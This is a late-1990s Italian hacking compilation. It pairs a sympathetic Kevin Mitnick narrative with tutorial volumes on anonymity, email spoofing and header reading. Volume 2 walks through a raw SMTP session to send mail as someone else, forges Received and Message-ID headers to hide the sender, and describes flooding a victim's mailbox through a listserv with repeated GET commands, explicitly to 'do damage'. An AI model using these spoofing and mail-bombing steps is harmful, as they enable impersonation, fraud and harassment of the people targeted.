GRANDE ENCICLOPEDIA HACKER CRACKER E PHREAKER

By ^Condor^

QUESTA E' UNA RACCOLTA DI MATERIALE REPERIBILE IN RETE ALCUNI TESTI SI RIFERISCONO A TECNICHE ORMAI SORPASSATE ED INUTILIZZABILI PER VIA DEI NUOVI SISTEMI DI PROTEZIONE ETC..MA LE HO INSERITE LO STESSO PERCHE' ERANO DELLE GENIALITA' E TROVO GIUSTO CHE RIMANGANO IN CIRCOLAZIONE QUANTO MENO PER DARE MERITO A COLORO CHE LE INVENTARONO.

Utilizzare la sezione segnalibri come indice

SEZIONE HACKING

La storia infinita di Kevin David Mitnick,
l'hacker più famoso del mondo, sotto processo negli Stati Uniti. E' in carcere da quattro anni e gli è stata respinta ogni richiesta di libertà su cauzione.;1. This is the End…my only friend, the End...E' il 14 febbraio del 1995, giorno di San Valentino. In una cittadina americana sta accadendo qualcosa che scatenerà ribellioni, dimostrazioni, appelli via rete, la nascita di siti spontanei dicontro-informazione, la creazione di una colletta per realizzare un fondo spese legali...;Arriva un camioncino blu, un Van, con la scritta Sprint Telecomunications. Dal Van esce ungiapponese, due tecnici della Sprint, le forze speciali dell'FBI con giubbotti antiproiettile ed armialla mano. Sembra di vedere un film di azione. Ma non è così. A Raleigh, piccolo centro nelloStato del North Carolina, stanno per arrestare Kevin Mitnick.Le conseguenze di questo arresto saranno molteplici e non solo per le comunità underground ed hacker..;Iniziata nel 1981 con l'attacco da parte di Kevin, allora diciassettenne, ai sistemi Cosmos dellaPacific Bell (compagnia telefonica americana), la “caccia all'uomo” dell'FBI si conclude nel 1995,dopo 14 anni. Centosessantotto mesi di appostamenti, intercettazioni, false piste, arresti mancati.Il 14 febbraio si arriva alla conclusione di una lunga corsa, un inseguimento interminabile attraverso le reti di mezzo mondo. Quel giorno nasce il mito di Kevin Mitnick, l'hacker più famoso al mondo.;2.
Gli inizi Kevin nasce in California. I suoi genitori divorziano quando lui ha appena 3 anni. Nella sua adolescenza rispecchia lo stereotipo classico dell'hacker: a 13 anni è un ragazzino solitario, grassotello. Inizia con i “CB”, a 8 anni è già radioamatore. Da ex-hacker,interpreto questa sua passione come una ricerca comunicativa: là fuori c'è qualcuno e lui ci vuole parlare, la distanza fisica non è più importante, a otto anni può dialogare con degli adulti che si trovano in altre città. Credo che in quel periodo sia nata in lui, forse inconsciamente, la passione per l'hacking, le reti, la comunicazione.;Nella più classica immagine americana della prima metà degli anni '70, il ragazzino brufoloso, occhialuto e ciccione ha 9 anni e vagabonda per i negozi di elettronica della sua città, prende pezzi usati, li ricicla, costruisce, assembla tecnologia trasmissiva tutto solo nella sua stanzetta, mentre i coetanei giocano a basket o “simply, they are hangin' on around the school” (cazzeggiano davanti alla scuola): diventa cliente assiduo di alcuni negozi, fa amicizia con i proprietari, forse inizia a fare qualche lavoretto da bravo teen-ager americano, ricevendo come paga dell'hardware usato.;Il ragazzino cresce, scopre i PC. Va oltre, fin da subito, scoprendo i modem: a 13 anni viene cacciato da scuola dal preside, perché entrava negli archivi degli altri istituti. Trasferisce la bolletta telefonica di un ospedale (30.000 US$) sul conto di uno che detestava.Si battezza Condor, dal film “I tre giorni del Condor”, con Robert Redford. Credo che un alias, un nickname, non sia mai stato più azzeccato: il Condor è solitario, lavora da solo, non si fida di nessuno, vive con la solitudine. E probabilmente Kevin/Condor trova nella Rete e nell'hacking una compagnia ideale, un qualcosa che lo rende meno solo.;Verso la fine degli anni '70, a 16 anni, come ogni bravo ragazzo americano, prende la patente: la targa della sua auto è X-HACKER. A 17 anni viene arrestato per la prima volta: furto di manuali informatici. Immagino Kevin, andatura insicura, occhiali da vista spessi,andare a cercare manuali per imparare, per capire dei sistemi informatici ai quali non poteva accedere, a cercare l'informazione.

Io facevo trashing (letteralmente, rovistare nella spazzatura; farlo davanti alle sedi di aziende di informatica, università e compagnie di telecomunicazione produce spesso informazioni molto riservate), per trovare i manuali della Digital e imparare a programmare suVAX/VMS.;Seguono altri arresti, nell'83, nell'87 e nell'88, sempre per reati informatici. Un giudice di Los Angeles, la signora Mariana Pfaelzer, lo mette in carcere emettendo una condanna superiore a quella richiesta dal D.A (District Attorney, il Pubblico Ministero). Prima di farlo uscire dall'aula, gli dice: “Questa è l'ultima volta che fa una cosa simile, signor Mitnick”.Indubbiamente una frase profetica. Viene successivamente rilasciato, ma gli viene imposto il divieto di svolgere lavori che richiedanol'uso di un personal computer.;Oggi, nel 1999, ad alcuni anni di distanza, quello stesso giudice dovrà decidere se le richieste di risarcimento - presentate da multinazionali informatiche e pari ad un totale di ben ottanta milioni di dollari (sì, avete letto bene: hanno chiesto 80.000.000 US$ didanni al Signor Kevin David Mitnick) - dovranno essere soddisfatte o meno. Buona fortuna, giudice Mariana.;Le aziende che hanno richiesto il risarcimento sono la Motorola, la Fujitsu, la Nokia, La Sun Microsystems, la Novell, la Nec. Il solo utile netto della Motorola nel 1995 è stato di 22.247.000.000 di dollari.Con che coraggio queste aziende chiedono ottanta milioni di dollari ad un carcerato sotto processo, il quale non ha fatto altro che copiare delle informazioni per propria cultura personale, senza rivenderle, modificarle o distruggerle?;3. Il “Condor” vola troppo in alto. Anni '90. Kevin è cresciuto. E' sempre più Condor. E' un fantasma, come scrissero in seguito. Non esiste. Vive dirottando i propri conti su altre utenze. Gira gli States, notebook e cellulare modificato. Pone molta attenzione durante le connessioni, cambia spesso numeri telefonici, appartamento. Si sposta di continuo. Esplode, probabilmente, il suo odio verso le “Big Companies”: IBM, Digital,Sun Microsystems, Fujitsu. Tutte hanno dei segreti da custodire. Il Condor cerca la libertà d'informazione. Vuole la verità, vuole i bug, i famosi difetti, errori di programmazione compiuti dalle software house, per poter accedere ai sistemi informatici protetti.;Dalla prima metà degli anni '90, sino al suo arresto, Kevin cresce ancora. E' molto attirato dai sistemi VAX della Digital: sono i soli a non avere praticamente bug, a non essere “sfondabili”. Allora il Condor agisce, silenzioso. Utilizza Social Engineering, una tecnica hacking per carpire telefonicamente informazioni spacciandosi per un'altra persona, un collega di una filiale. Ottiene tutto quello che vuole. Viola il sistema di un Internet Provider inglese. A quel sistema è abbonato, come utente regolare, un consulente della Digital.;E' stato tra i creatori del VMS, il sistema operativo proprietario dei VAX Digital, ed ora effettua consulenze alla Digital sulla sicurezza. I bug ci sono. Vengono scoperti da quest'uomo. E Kevin gli spia le e-mail. Apprende i segreti più segreti della Digital, ilsuo intento era quello: se non posso ottenere le informazioni in un modo, le ottengo in un altro.;L'FBI è sui suoi passi. Lui lo sa. Spia le comunicazioni tra la sede centrale dell'FBI e gli agenti dislocati, i quali lo stanno cercando per mezza America. Non appena l'FBI dà l'ordine “ok, andate a prenderlo”, lui sparisce. Li prende in giro. Falsifica le comunicazioni.E' un'ombra sulla Rete, nessuno sa dove sia fisicamente.;Kevin nel frattempo è entrato ovunque: multinazionali, società d'informatica, agenzie governative. Entra e copia: progetti,

piani,budget, business plan, contatti, consulenze esterne. Non vende nulla, non baratta, non cancella: apprende, impara, conosce. Per lui la conoscenza è importante. Sa come funzionano le cose. Capisce che il nuovo business sta partendo: telecomunicazioni, telefonia cellulare, satellitare, pay-Tv. I bit avanzano, l'analogico scompare. Kevin lo sa. Forse inizia a capire il potere che ha in mano.;Lo capiscono anche altre persone. Kevin ha accesso ad informazioni riservatissime, e questo dà molto fastidio alle multinazionali.Le lobby USA si muovono, l'FBI lo inserisce ufficialmente tra i “Top Wanted”, come per i peggiori criminali.;L'Fbi ha capito, le multinazionali anche, le lobby hanno provveduto: mancano i mass-media. Come per magia, appare un articolo sulla prima pagina del New York Times, il 4 luglio 1994: racconta dell'esistenza del Condor. Kevin diventa un personaggio. Ma èsempre più braccato. John Markoff, l'autore dell'articolo, fa di tutto per incontrarlo. Corrompe alcuni suoi “amici”, collabora con l'FBI per incastrarlo.;4. Inizia la guerra: Davide e GoliaNel dicembre del 1994, appare un messaggio sul computer di Tsutomu Shimomura, nippo-americano, super esperto di sicurezza,consulente del Governo USA.;Non c'è scritto molto, solo un “Found me: I am on the Net”. Trovami, sono sulla Rete, gli dice Kevin.;La sfida ha inizio. Per la prima volta, le armi sono diverse: è una caccia all'uomo on-line. Le maggiori compagnie di telecomunicazione americane collaborano con l'FBI. La Sprint Corporation fornisce manuali, schede, tecnici specializzati. Il Condor è braccato.;Kevin ha utilizzato, tra i primi al mondo, la tecnica dell'IP-spoofing, nel dicembre del 1994, per attaccare i server di Shimomura con sede a San Diego. Shimomura commenta questa tecnica ad una conferenza americana (CMAD), nel gennaio del 1995. Pare dunque che inizi, sin da subito, lo sfruttamento del Condor, delle sue tecniche, della sua abilità, del suo stile stile e delle sue competenze.;Markoff scrive altri articoli, accusa Kevin, lo dipinge come il “criminale”. Kevin ama, come molti hacker, la stampa. Vuole dire la sua.Non accetta giudizi senza poter ribattere. Contatta Jonathan Littman. Arriva a chiamarlo tre volte al giorno. Forse, da Questo momento in poi, il Condor perde la sua freddezza, la sua lucidità, i suoi attenti calcoli. Compie degli errori. Deve cambiare città sempre più spesso. Non capisce le motivazioni di tanto clamore attorno al suo caso. Discute con il giornalista “buono” di hacking, di politica, di tecnologia, di donne, di costume. Littman lo definirà “una mente esplosiva, incontrollabile, incredibilmente potente”.Littman sbaglia: come in ogni “grande rovina”, all'origine c'è un errore. Parla con Markoff, si confida. Gli rivela dove si trova Kevin. Lo rivela al collega giornalista, all'amico John. Markoff, il quale informa immediatamente Shimomura. Il cerchio si stringe. Kevin crede diessere tranquillo. Ha fiducia nel suo confidente. Una volta un hacker mi disse: “Trust no 1: non fidarti mai di nessuno”. Kevin avrebbe dovuto incontrare quell'hacker, forse sarebbe andata diversamente. John Markoff o Shimomura – ma è indifferente – informano l'FBI. Il Condor sta per cadere.;Torniamo al 14 febbraio del 1995. Kevin viene arrestato. Non uscirà mai più dal carcere. Amici, conoscenti, hacker, amanti Della libertà d'espressione, dell'open source, della libera comunicazione, anarchici, hanno fondato un sito web,http://www.kevinmitnick.com. Sull'home page c'è un contatore. Non è il classico counter per gli accessi. Scorre veloce, di continuo. Purtroppo non testimonia una cosa allegra, come l'alto numero di visitatori. Le cifre

scorrono, a rotazione, e contano:;4 ANNI, 4 MESI, 22
GIORNI, 13 ORE, 8 MINUTI, 33 SECONDI...4 ANNI, 4 MESI, 22 GIORNI, 13 ORE, 8
MINUTI, 34 SECONDI4 ANNI, 4 MESI, 22 GIORNI, 13 ORE, 8 MINUTI, 35
SECONDI. La frase sopra recita:” Kevin Mitnick è stato imprigionato dal
Governo Americano, prima della sentenza, da:...;5. Vola mio Condor,
vola sempre più in alto. Kevin Mitnick è la punta di un iceberg, a mio
parere. E' diventato il capro espiatorio. Gli Usa, le multinazionali, le
aziende informatiche, vogliono una vittima. Un caso esemplare. Una condanna
altrettanto esemplare. Vogliono un esempio, un precedente.;Negli
Stati Uniti la detenzione media per omicidio colposo è di 3 anni: Kevin è dentro
da 4; non ha ancora avuto un processo; il numero dei capi d'imputazione
assegnatigli farebbe impallidire Al Capone; è stato messo in isolamento per otto
mesi; ci sono migliaia di persone al mondo che lottano per i suoi ideali, ma
lui non lo sa; gli è stata rifiutata ogni richiesta di libertà su
cauzione;gli furono sequestrati computer, modem, persino la radio: avrebbe
potuto modificarla per comunicare con l'esterno, dissero.;L'amato
Mr. Shimomura, insieme al degno compare Markoff (sembrano il gatto e la volpe),
nel frattempo, hanno incassato un anticipo di 750.000 US$ per il libro che
hanno scritto, “Sulle tracce di Kevin” (edizione Sperling & Kupfler).
Recentemente hanno venduto i diritti per il film, e Kevin marcisce in una
prigione americana, e continua a non sapere cosa gli succede intorno,
cos'è diventato il Web - quelle “3 W” che tanto ci stanno cambiando la vita -
che lui ha contribuito a rendere più sicuro.;Il ragazzo che voleva
il “cyber-world” libero, gratuito ed accessibile a tutti, l'uomo che voleva dei
sistemi sicuri, l'uomo che ha ispirato due generazione di hackers, guarda
dalle sbarre i fili telefonici, immagina i segnali satellitari, le reti GSM a
1800 MHz che spingono i segnali. Io telefono, e la “centrale” sa dove sono
fisicamente, voi vi collegate al Web, e pagate la connessione, l'abbonamento,
gli scatti, i megabytes scaricati. L'hacker che voleva l'informazione come un
diritto innegabile dell'uomo, l'informazione gratuita, vera e totale, il
condor che voleva volare in alto, è stato rinchiuso, è stato ridotto al
silenzio.;Non posso dire altro, a voi che leggete, se non farvi
riflettere su una cosa: se i diritti costituzionali possono essere messi da
parte nella Grande America per Kevin Mitnick, cosa vi fa pensare che non
sarebbe lo stesso con voi al suo posto?;E non posso augurare altro,
al buon Kevin Mitnick, se non di volare. Vola mio Condor, vola sempre più in
alto.

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 1

PREFAZIONE
~~~~~~~~~~~
In seguito alle moltissime richieste di informazioni sull'hacking, noi del D.A.C. abbiamo deciso di scrivere una serie di "volumi" sull'argomento, per spiegare in modo semplice e graduale le basi dell'hacking.

Le informazioni che ci accingiamo a darvi con la presente "Enciclopedia" sono solo a scopo informativo.
L'autore, Lord Shinva, declina ogni responsabilita` per l'uso di queste informazioni.
L'autore si riserva inoltre la possibilita` di ritardare o interrompere in qualsiasi momento la pubblicazione di questa serie di documenti in caso di uso improprio degli stessi.

GLOSSARIO
~~~~~~~~~
- IP Address
  Indirizzo numerico composto da quattro numeri (ad esempio 123.45.67.8) che identifica il vostro computer sulla rete. Un IP Address e` unico e corrisponde ad un Host Name

- Host Name
  Nome in formato standard Internet di un sito. Ad esempio sara` del tipo www.prova.com per un provider o un sito generico, mentre nel caso di un collegamento via modem di un utente al suo provider potra` somigliare a ppp14-ro.provider.it.
  Le estensioni piu` usate sono:
    .com   sito commerciale ("com") generico
    .org   organizzazione ("org") senza fini di lucro
    .mil   sito militare ("mil") USA

.net   rete (in inglese "net") sito generico
e i vari .it (Italia) .uk (Inghilterra) .ca (California), ecc.

- Client
Programma "cliente", usato da un utente per collegarsi ad un servizio.
Ad esempio, Netscape e Microsoft Explorer sono client per collegarsi al servizio Web (HTTP), Eudora e` un client per collegarsi al servizio e-mail (SMTP/POP3), Cute FTP e WS-FTP sono client per collegarsi a FTP, e cosi` via. E` in pratica un programma che viene usato per comunicare con un server.

- Server
Programma che svolge un servizio e si occupa di rispondere ai client.
Ad esempio, i provider hanno un Web Server per offrirvi la possibilit…
di collegarvi ad Internet tramite il Web.

- Protocollo
Insieme di regole per la gestione di un servizio Internet come web, email

- Servizi: nomi tecnici
I servizi disponibili su Internet sono: Web (pagine ipertestuali), FTP (trasferimento file), e-mail, news, IRC, ecc.
Ecco alcuni nomi tecnici e relativo servizio:
HTTP   e` il nome del protocollo del web
SMTP   e-mail, posta in uscita
POP3   e-mail, posta in arrivo
IMAP   e-mail, e` un altro tipo di posta in arrivo, meno usato

- DNS (Domain Name Server)
E' la funzione svolta da un computer situato sulla rete che si occupa di risalire a un IP Address da un Host Name e viceversa (se ad esempio volete conoscere l'IP Address di www.prova.com utilizzando il DNS otterrete una risposta del tipo 123.45.67.8, ma e` anche possibile fare il contrario).
L'operazione per la quale si risale dall'IP Address (numerico) all'Host Name (nome) viene detta Reverse DNS.
Il DNS viene utilizzato automaticamente da tutti i programmi per Internet, in quanto Internet non "capisce" gli Host Name, e ha bisogno di conoscere il relativo IP Address per riuscire a collegarsi ad un sito (Host).
E' anche possibile utilizzarlo volutamente, per risalire a qualcuno, ecc.

FONDAMENTI
~~~~~~~~~~~
Prima di iniziare con l'hacking vero e proprio e` necessario iniziare con una breve lezione sull'anonimita`.
~~~~~~~~~~~

Infatti, quando effettuate un'operazione qualsiasi sulla rete, lasciate
tracce di voi ovunque.
Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si
collega ad un server o si inviano dati vengono automaticamente trasmesse
informazioni come: da quale server (e quindi da quale citta`) si sta
chiamando, il nome ed il produttore del programma che si sta usando, quale
sistema operativo e` installato sul vostro PC, il vostro IP address, qual'e`
l'ultimo sito visitato, se, quando e quante volte ci si e` collegati ad un
sito, e talvolta anche il proprio indirizzo di e-mail.

Mentre lasciare simili informazioni in giro puo` non costituire un pericolo
per un utente qualsiasi, per un hacker la cosa diventa alquanto pericolosa.
In pratica e` come se lasciaste un biglietto da visita (beh... quasi un
curriculum!) ad ogni collegamento che effettuate.

Molti siti utilizzano anche un comodo meccanismo di identificazione messo a
disposizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta
ad identificarvi anche a distanza di tempo, e puo` rivelare loro la
frequenza con cui visitate dei siti, IP address, ed altre informazioni che
non vorreste dare. Il file in questione e` denominato "cookie".
Se usate Netscape lo troverete nella directory del browser con l'innocuo
nome di "cookies.txt". Non e` altro che un semplice file di testo, come
questo che state leggendo. Bastera` eliminarlo dopo ogni collegamento per
eliminare le informazioni che esso puo` rivelare. Se utilizzate siti che
richiedono accesso con password puo` darsi che il cookie contenga delle
informazioni necessarie al vostro collegamento: in tal caso bastera` editare
il file ed eliminare solo le righe che non contengono il nome del sito in
questione.

I "cookies" possono essere disabilitati in alcuni browser (come Netscape).
Lo stesso vale per altre tecnologie ancor piu` pericolose (per la privacy),
come Java e JavaScript. Rendono piu` allegre le pagine Web... e ancor
piu` allegri quelli che vogliono sapere chi, come e quando si collega a
una pagina.

Un mezzo molto usato fino a poco tempo fa per nascondere le proprie tracce
sul Web era l'Anonimizzatore (http://www.anonymizer.com), ma mentre prima
era gratuito ora e` diventato a pagamento. Lo si puo` ancora utilizzare, ma
prima di visualizzare la pagina Web desiderata, l'utente e` costretto ad
attendere circa mezzo minuto. Inoltre questo servizio e` ora in grado di
riconoscere un tentativo di hacking e si rifiuta di eseguire il collegamento.

Per quanto riguarda invece le e-mail (posta elettronica) il discorso cambia.

In realta`, un hacker non usa quasi mai altro che un solo programma: Telnet.

Se non siete ancora in possesso di un client (programma utente) Telnet vi
consiglio di prelevarlo al piu` presto dalla rete (ad esempio, cercando su
http://www.shareware.com).
Telnet non e` altro che un servizio di banca dati, con messaggi, programmi
e cose del genere, proprio come nelle vecchie BBS.

Ma perche` utilizzare proprio Telnet?

In realta`, un client Telnet fa poco piu` che collegarsi a un server,
inviargli tutto quello che scrivete e mostrarvi tutto quello che riceve dal
server.

Puo` in effetti sostituire (limitatamente) un qualsiasi altro client.

Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi
ad un sito Web, il programma non fa altro che svolgere una sessione Telnet.
In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta
che il server glielo invii.
Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica.

Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi
programma client, parlando al server e leggendo le sue risposte.

Ma per quale motivo dovremmo farlo? E` presto detto.

Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail,
e` stato progettato perche` dall'altro capo della connessione ci sia un
programma client che segua certe regole (ad esempio Eudora per la posta).

Ma cosa succede se invece di un programma c'e` un hacker che "finge" di
essere il programma e invece di seguire le regole standard fa altre cose
non previste?
Succede che si puo` sovvertire il servizio, e si possono fare le cose piu`
disparate.

Alcuni esempi: sovvertendo e-mail si puo` inviare posta elettronica "falsa"
(detta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo
il Web si puo` crashare (da "crash": distruggere, in senso virtuale) un
server, con FTP si puo` ottenere un livello di anonimita` elevatissimo ed
e` possibile infiltrarsi anche dove non si e` desiderati, e cosi` via; per
praticamente ogni servizio esistente vi sono delle tecniche applicabili.

E infine, con quasi tutti i servizi (e in particolar modo con la SMTP)
esistono dei modi per ottenere il tanto agognato accesso "root", in pratica
il livello dell'amministratore di sistema (detto SysAdmin) che puo` fare

qualsiasi cosa: creare, aggiungere o eliminare account, file e directory, utenti con qualsiasi livello d'accesso, leggere la posta e i file degli utenti, attivare e disattivare servizi, modificare programmi...

Nel prossimo volume ci occuperemo della falsificazione e identificazione di posta elettronica e news.

:: LoRD SHiNVA ::

-Digital Alliance Confederation-

VAI AL VOLUME 2

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 2

TELNET E SMTP
~~~~~~~~~~~~~~
Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno facendo sembrare che essa sia stata mandata da qualcun altro.

Il metodo piu` semplice e` utilizzare uno dei siti per hackers che offrono la possibilita` di inviare FakeMail (basta cercare questa parola in un motore di ricerca su Internet, ad esempio www.yahoo.com ha una sezione apposita per FakeMail e posta anonima).

Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica delle FakeMail (che tra l'altro e` applicabile, in modo diverso, anche alle news).

Il motivo per cui la studieremo e` che provandone il funzionamento, ne approfitteremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio della posta in uscita.
Questa e` infatti la base per capire come funzionano molte delle tecniche piu` utilizzate, e vi permettera`, quando sarete padroni della materia, di implementarne di nuove.

Iniziamo dunque imparando ad usare Telnet.

Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi collegherete al servizio Telnet. Ma abbiamo detto che non e` questo il nostro obiettivo. A noi interessa il servizio SMTP. Dunque, come fare per accedervi?

Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo collegarci, anche un numero di "porta".  Ma cos'e` una porta?
Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gestisce molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere altrettanti server su altrettanti indirizzi diversi.

Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica
~~~~~~~~~~~~~~

nient'altro numeri a cui sono associati i vari servizi.
Vogliamo collegarci a SMTP? Basta utilizzare la porta 25. Ci interessano le news? La porta e` 119. Oppure FTP, porta 21... sono tutti numeri "fissi" (standard) e quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25 ci rispondera` sempre SMTP.

NOTA: se avete Winsock potete leggere il file "services", contenente i numeri delle porte piu` usate. Il file si trovera` nella directory di Winsock.

Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci collegare a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero rari i casi in cui un server non gestisca la posta) e, in base al programma usato, dovremmo operare differentemente.
La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del server prova.it bisogna inserire prova.it:25 come nome del server.
Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta, ma hanno uno spazio in cui inserire, separatamente, il numero o il nome del servizio.

Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo:

220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200

e niente altro. Il server sta ora aspettando comandi da parte nostra.
La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO in questo modo:

HELO nomeprovider.it

sostituendo nomeprovider.it con il nome del nostro provider.

NOTA: usando Telnet *NON* e` possibile cancellare. Quindi digitate senza fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto, oppure - in alcuni casi - puo` essere sufficiente premere invio e riscrivere la riga da zero. Non cancellate, anche se sembra funzionare. I risultati possono essere imprevedibili e potreste rivelare la vostra identita`.

Talvolta e` possibile inserire un nome falso, ma i nuovi server conoscono gia` il vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome.

La risposta sara`:

250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you

A questo punto dovremo dire al server qual'e` il nostro indirizzo di e-mail.
Usiamo allo scopo il comando "MAIL FROM" e digitiamo:

MAIL FROM: <Bill_Gates@microsoft.com>

...ovviamente l'indirizzo da inserire e` quello falso =)
Il server rispondera` con un messaggio. Se avremo sbagliato qualcosa, sara`
un messaggio d'errore, e dovremo ripetere l'immissione.

A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere
vittima@lamer.it. Usiamo il comando "RCPT TO" e scriviamo:

RCPT TO: <vittima@lamer.it>

Il server rispondera` con un altro messaggio.

Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle
intestazioni e del corpo del messaggio.
Avvisiamo il server che siamo pronti, scrivendo:

DATA

e il server ci dira` di scrivere il messaggio e di concludere con un punto
su una riga vuota.

Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers)
che si trovano prima del corpo del messaggio vero e proprio. Il loro scopo
e` elencare tutti i computer attraverso i quali e` passato il messaggio,
nonche` il nostro IP Address! Cio` potrebbe rivelare la nostra identita` a
un hacker o a un SysAdmin esperto. Per evitarlo, digitiamo:

Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58

dove nomeprovider.it e` il nome del vostro provider (quello che avete usato
con HELO) e l'ultima parte (Sun, 12 Oct...) e` la data in formato standard.
ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente
che inizi con AA1 piu` altre 4 cifre, per farlo sembrare piu` reale).
Si tratta solo di un numero di serie del server, niente di importante.

Ora dobbiamo digitare:

Message-ID: <123.AA11345@microsoft.com>

Cio` serve a far credere che il messaggio sia partito effettivamente dal

server "microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi, purche` NON uguale a quello inserito prima con l'intestazione "Received:").

Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail:

To: <vittima@lamer.it>
Date: Sun, 12 Oct 97 11:30:27
Subject: questa e` una prova...

Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo quanto vogliamo). Per concludere il messaggio lasciamo due righe vuote, digitiamo un punto, premiamo invio, scriviamo QUIT e invio.
La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche chiudere Telnet.

E` importante inviare a se stessi dei messaggi di prova per vedere se il server scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, soprattutto, per vedere se il proprio IP Address si trova in mezzo alle intestazioni "Received:", oppure (sbagliato) alla fine.

Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di qualcuno?
Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente dovremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo un "listserv" (come ad esempio listserv@brownvm.brown.edu).
Un Listserv e` un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP.

Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima...
Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, arrivati a "Subject:" scriviamo quanto segue:

REPLY vittima@lamer.it
CONNECT pluto.it anonymous indirizzo@falso.com
BINARY
GET mieifiles/enorme.gz
QUIT

e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.

Ecco la spiegazione passo passo:

REPLY indica l'indirizzo e-mail a cui rispondere
CONNECT specifica il nome del provider a cui collegarsi e l'account da usare
BINARY specifica un file di tipo binario (non va cambiato)
GET specifica il nome del file da prelevare (completo di eventuali directory)
QUIT termina la connessione

Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara` molto piu` dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10 volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero utente destinatario!
E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi, la vittima riceverebbe migliaia e migliaia di messaggi...
E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no?

Nel prossimo volume impareremo a scrivere messaggi totalmente anonimi, a riconoscere un messaggio falso da uno vero e ad identificare il computer da cui e` partito un attacco.
Piu` in la` spiegheremo anche come rendersi al 100% invisibili utilizzando tecniche estremamente raffinate.

VAI AL VOLUME 3

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 3

EMAIL E IDENTIFICAZIONE
~~~~~~~~~~~~~~~~~~~~~~~~
Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora come riconoscere una e-mail "vera" da una "falsa", come identificarne (in parte) l'autore, e come utilizzare i remailer anonimi per un'anonimita` di livello elevatissimo.

Per poter studiare un messaggio dobbiamo necessariamente essere in grado di leggerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con la parola "Received:" e simili, che si trovano prima del corpo del messaggio vero e proprio).

Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha un'opzione (in genere nel menu`) per attivare/disattivare la visualizzazione degli stessi.
Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options", mentre con "Internet Explorer" e` necessario cliccare sul titolo dell'e-mail da analizzare, quindi premere il tasto destro e scegliere l'ultima voce (Properties, ovvero Proprieta`). Eudora ed altri client hanno una funzione simile a quella di Netscape Mail (nei menu`).

Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers:

Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3)
   id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT)
Received: from america.com ([123.45.67.89]) by posta.hackers.it
   (post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187
   for <utente@provider.it>; Mon, 27 Sep 1997 14:34:21 +0200
From: <mittente@america.com>
To: <utente@provider.it>
Subject: test...

Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in quanto ogni header inizia con una parola chiave seguita dai due punti, e nel secondo rigo non esiste una prima parola, ne` i due punti; ne deduciamo
~~~~~~~~~~~~~~~~~~~~~~~~

percio` che e` il seguito della riga superiore.

